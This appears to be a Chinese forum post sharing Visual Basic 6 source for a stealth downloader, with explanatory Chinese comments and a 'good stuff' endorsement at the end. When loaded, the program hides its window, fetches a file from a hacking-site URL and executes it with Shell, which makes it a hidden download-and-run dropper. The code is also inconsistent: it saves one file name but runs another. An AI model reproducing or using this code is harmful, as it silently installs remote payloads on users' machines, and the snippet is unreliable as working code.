Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'声明URLDownloadToFile这个API函数,是标准的windowsAPI
'但这个函数在VB中似乎不是常见函数,没有具体的参数解释,不过通过字面多少能猜到几分了,常在C#中使用吧大概.
Private Sub Form_Load()'窗体加载事件
Me.VISIBLE = false'自身不可见
DownloadFile "http://www.chinanethack.com/SFDO/FHQ40.RAR", App.Path & "\FHQ30A.RAR" '下载网址保存至程序自身所在文件夹目录下,命名为FHQ30A.Rar
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean '声明Downloadfile这个自定义事件为Boolean类型
Dim lngRetVal As Long'定义lngRetVal为长整形
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)得到URLDownloadToFile返回的long型的数据
If lngRetVal = 0 Then '返回值为0的时候,即下载完毕
DownloadFile = True '这里注意,DownloadFile为BOOLEAN型,也就是说,这个地方只是一个事件接口,没有在IF里进行判断,对下面的语句不会造成影响,不信自己改成FALSE看看
Shell App.Path & "\FHQ40.RAR"'运行下载下来的RAR
End If
End Function
好东西.先解释了下。顶出来给大家看啊。.